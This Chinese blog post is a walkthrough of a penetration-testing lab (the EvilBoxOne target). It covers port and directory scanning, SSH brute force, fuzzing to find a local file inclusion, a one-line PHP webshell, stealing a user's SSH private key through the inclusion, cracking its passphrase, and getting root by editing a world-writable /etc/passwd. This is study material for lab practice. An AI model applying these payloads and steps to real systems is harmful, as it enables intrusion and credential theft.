渗透练习01

渗透练习01

一、网站扫描

1.1 查看靶机开放端口

使用nmap查看靶机开放的端口

nmap 192.168.123.169 -p- --min-rate 1000 -sV

开放了以下端口

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
1.2 端口分析
1.2.1 22 端口

利用hydra对root账号的密码进行爆破

hydra -l root -p /usr/share/wordlists/rockyou.txt ssh://192.168.123.169

未爆破成功

[DATA] attacking ssh://192.168.123.169:22/
1 of 1 target completed, 0 valid password found
1.2.2 80 端口

网页为Apache默认页面

在这里插入图片描述

1.3 目录扫描
1.3.1 gobuster工具扫描靶机IP目录
安装gobuster

下载地址

https://github.com/OJ/gobuster/releases/tag/v3.6.0

运行

┌──(kali㉿kali)-[~/Downloads/gobuster/gobuster_Linux_x86_64 ]
└─$ sudo su
[sudo] password for kali: 
┌──(root㉿kali)-[/home/kali/Downloads/gobuster/gobuster_Linux_x86_64 ]
└─# chmod +x gobuster 

┌──(root㉿kali)-[/home/kali/Downloads/gobuster/gobuster_Linux_x86_64 ]
└─# ./gobuster

利用 gobuster 对192.168.123.169进行目录扫描

┌──(root㉿kali)-[/home/kali/Downloads/gobuster/gobuster_Linux_x86_64 ]
└─# ./gobuster dir -u http://192.168.123.169 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt

扫描结果

/robots.txt           (Status: 200) [Size: 12]
/index.html           (Status: 200) [Size: 10701]
/secret               (Status: 301) [Size: 319] [--> http://192.168.123.169/secret/]

访问后,未发现可利用信息

字典 seclists 下载
┌──(root㉿kali)-[/usr/share]
└─# apt install seclists
1.3.2 爆破/secret下一级目录

继续爆破/secret的下一级目录

┌──(root㉿kali)-[/home/kali/Downloads/gobuster/gobuster_Linux_x86_64 ]
└─# ./gobuster dir -u http://192.168.123.169/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,html,jsp

扫描结果

/evil.php             (Status: 200) [Size: 0]

访问为空白,查看源代码也没用

1.3.3 爆破参数

盲猜后面有参数,通过参数提交数据

对参数进行爆破

除了burp爆破,还可以使用kali自带工具ffuf

┌─(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w /home/kali/ce.txt:VAL -u http://192.168.123.169/secret/evil.php?PARAM=VAL -fs 0

-fs 0 过滤空内容页面

ffuf -w 参数字典 -w 值字典 -u url链接

结果为false,未爆破处参数和参数值

修改值为目标系统已确定存在的上一级目录文件index.html,先爆参数名

┌─(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.123.169/secret/evil.php?FUZZ=../index.html -fs 0

FUZZ 模糊测试

:: Progress: [872/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::: Progress: [1064/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 command                 [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 4ms]
:: Progress: [1224/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 

爆出存在command的参数名

且成功访问

在这里插入图片描述

二、漏洞利用

2.1.1 判断是否为文件包含漏洞

既然能访问…/index.html文件,意味着也许能访问evil.php,但访问发现并无内容

猜测此处可能存在文件包含漏洞,包含并执行了 PHP 代码文件

文件读取漏洞通常只允许读取文件内容,而不会执行文件内容

进一步测试

在这里插入图片描述

2.1.2 验证是否存在远程文件包含漏洞

kali机端开启远程服务

方法一:利用apache搭建简易的远程服务网站
┌──(kali㉿kali)-[~]
└─$ cd /var/www/html  
┌──(kali㉿kali)-[~]
└─$ sudo vim a.php
┌──(kali㉿kali)-[~]
└─$ sudo systemctl start apache2

a.php 内容为一句话webshell

<?php $var=shell_exec($_GET['cmd']);echo $var ?>
方法二:利用python 搭建
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80

利用command参数访问kali的IP

192.168.123.169/secret/evil.php?command=http://192.168.123.30/a.php?cmd=id

并未返回kali机id信息,所以只存在本地文件包含,不存在远程文件包含

SSRF验证是看能否通过服务器发起请求访问外部或内部资源

2.1.3 利用封装协议看能否读取和写入文件

读取文件

192.168.123.169/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=evil.php

读取文件成功,内容为文件包含代码,进一步证实为文件包含漏洞

写入文件

┌──(kali@kali)-[/var/www/html]
└─$ echo -n 123 | base64
MTIZ

192.168.123.169/secret/evil.php?command=php:/filter/write=convert.base64-decode/resource=test.php&txt=MTIz

访问test.php,访问不到,说明写入失败

2.1.4 利用/etc/passwd文件中发现的mowree账号

尝试登陆该账号ssh

┌──(kali@kali)-[/var/www/html]
└─$ ssh mowree@192.168.123.169 -v

-v 为详细模式。‌如果你尝试连接到某个远程服务器但连接失败,‌使用 ssh -v username@hostname 命令可以帮助你了解连接失败的具体原因,‌比如认证失败、‌网络问题、‌服务器配置错误等。‌

发现需要密码或公钥进行身份认证

debug1:Authentications that can continue:publickey,password

所以目标系统很可能存在公钥等文件,访问mowree账号可能存放公钥私钥文件默认路径

192.168.123.169/secret/evil.php?command=…/…/…/…/home/mowree/.ssh/authorized_keys

在这里插入图片描述

发现确实存在这样的公钥文件,且是rsa加密

那私钥文件很可能也存在

192.168.123.169/secret/evil.php?command=…/…/…/…/home/mowree/.ssh/id_rsa

将私钥内容复制,保存到kali机,文件名为id_rsa,无需后缀

┌──(kali㉿kali)-[~]
└─$ vim id_rsa
┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa    //仅文件所有者拥有读、写权限
┌──(kali㉿kali)-[~]
└─$ ssh mowree@192.168.123.169 -i id_rsa
Enter passphrase for key 'id_rsa':

登录失败,只能使用john对私钥爆破

┌──(root㉿kali)-[/home/kali]
└─# ls /usr/share/john/ |grep ssh         //筛选出能将ssh私钥转换成可处理格式的脚本                                                     
ssh2john.py
┌──(root㉿kali)-[/home/kali]
└─# /usr/share/john/ssh2john.py id_rsa > hashfile   //处理完格式后存到hashfile文件
┌──(root㉿kali)-[/home/kali]
└─# cat hashfile 

ssh2john.py:将SSH私钥文件转换为John the Ripper可以处理的格式

┌──(root㉿kali)-[/home/kali]
└─# john hashfile --wordlist=/usr/share/wordlists/rockyou.txt
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorn          (seed)     
1g 0:00:00:00 DONE (2024-08-07 04:27) 9.090g/s 11345p/s 11345c/s 11345C/s ramona..shirley

得到私钥的密钥为unicorn

三、提权

利用私钥和私钥的密钥登录ssh

──(root㉿kali)-[/home/kali]
└─# ssh -i /home/kali/id_rsa mowree@192.168.123.169
Enter passphrase for key '/home/kali/seed': 
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
mowree@EvilBoxOne:~$ ls
user.txt
mowree@EvilBoxOne:~$ cat user.txt
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
mowree@EvilBoxOne:~$ crontab -l    //查看计划任务
no crontab for mowree
mowree@EvilBoxOne:~$ sudo -l
-bash: sudo: orden no encontrada
mowree@EvilBoxOne:~$ uname -a
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux

针对内核版本进行漏洞搜索

┌──(kali㉿kali)-[~]
└─$ searchsploit 4.19                   
----------------------------------------------------- ---------------------------------
 Exploit Title                                       |  Path
----------------------------------------------------- ---------------------------------
Coppermine Photo Gallery 1.4.19 - Remote File Upload | php/webapps/7909.txt
H2 Database 1.4.196 - Remote Code Execution          | java/webapps/45506.py
H2 Database 1.4.197 - Information Disclosure         | linux/webapps/45105.py
H2 Database 1.4.199 - JNI Code Execution             | java/local/49384.txt
Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read an | linux/dos/46477.txt
Linux Kernel 2.4.18/2.4.19 - Privileged File Descrip | linux/dos/21598.c
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ | linux/local/47164.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ | linux/local/47165.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ | linux/local/47166.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ | linux/local/47167.sh
Marval MSM v14.19.0.12476 - Cross-Site Request Forge | windows/remote/50957.txt
Marval MSM v14.19.0.12476 - Remote Code Execution (R | windows/remote/50956.txt
----------------------------------------------------- ---------------------------------
Shellcodes: No Results

找到几个可进行提权漏洞利用的模块,但尝试后不成功

继续找suid权限文件

mowree@EvilBoxOne:~$ find /-perm /4000 2>/dev/null

find /: 从根目录开始查找。

-perm -4000: 查找设置了SUID位的文件。 -perm -2000: 查找设置了SGID位的文件。 -perm -6000: 查找同时设置了SUID和SGID位的文件。

-type f: 只查找文件,不查找目录。

2>/dev/null: 忽略权限不足导致的错误消息。

发现都是系统默认的那些可执行文件,没有可利用的,可在自己kali机上运行这条命令,上面都有相同的这些文件

再找mowree权限可改写且root权限运行的文件

mowree@EvilBoxOne:~$ find -writable 2>/dev/null | grep -v proc

proc 是系统运行中动态生成的目录,可过滤该目录下文件

run和sys目录下也可不看

对筛选出mowree有写权限的文件一个个查看,其中/etc/passwd文件

竟发现任何用户都可对它进行改写

mowree@EvilBoxOne:~$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 3213 Aug  5 03:07 /etc/passwd
mowree@EvilBoxOne:~$ vi /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash

用户名(mowree):该用户的登录名。

密码占位符(x):传统上,这里存放的是用户的加密密码,现在通常是一个占位符“x”,实际的密码信息存储在/etc/shadow文件中。

用户ID(1000):系统分配给用户的唯一ID号。

组ID(1000):用户所属组的唯一ID号。

用户信息字段(mowree,):通常是用户的全名或其他描述信息。这一字段通常用于finger命令,显示用户的真实姓名和其他信息。字段中没有实际信息,所以是空的。

主目录(/home/mowree):用户的主目录,登录后默认的工作目录。

登录Shell(/bin/bash):用户登录后使用的命令行解释器,通常是/bin/bash

openssl工具用于生成符合 /etc/shadow 文件格式的密码,否则不能被文件识别

利用该工具加密一个密码,再复制到root账户x位,才能成功修改root账户密码

mowree@EvilBoxOne:~$ openssl passwd -1 "123"
$1$3JmyrMwY$CuEb3Mv1K/WvG5DAj1IgQ/
mowree@EvilBoxOne:~$ vi /etc/passwd
root:$1$3JmyrMwY$CuEb3Mv1K/WvG5DAj1IgQ/:0:0:root:/root:/bin/bash
mowree@EvilBoxOne:~$ su root
Contraseña: 
root@EvilBoxOne:/home/mowree# whoami
root

vi命令

按「ESC」键切换模式, 按「i」切换进入插入模式从光标当前位置开始输入

按「ESC」——ctrl+c_——d 删除字符

按「ESC」——ctrl+c_——右箭头移动选多个——d 删除多个字符

mowree@EvilBoxOne:~$ openssl passwd -1 "123"
$1$3JmyrMwY$CuEb3Mv1K/WvG5DAj1IgQ/
mowree@EvilBoxOne:~$ vi /etc/passwd
root:$1$3JmyrMwY$CuEb3Mv1K/WvG5DAj1IgQ/:0:0:root:/root:/bin/bash
mowree@EvilBoxOne:~$ su root
Contraseña: 
root@EvilBoxOne:/home/mowree# whoami
root

vi命令

按「ESC」键切换模式, 按「i」切换进入插入模式从光标当前位置开始输入

按「ESC」——ctrl+c_——d 删除字符

按「ESC」——ctrl+c_——右箭头移动选多个——d 删除多个字符

u 撤回上一步骤

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值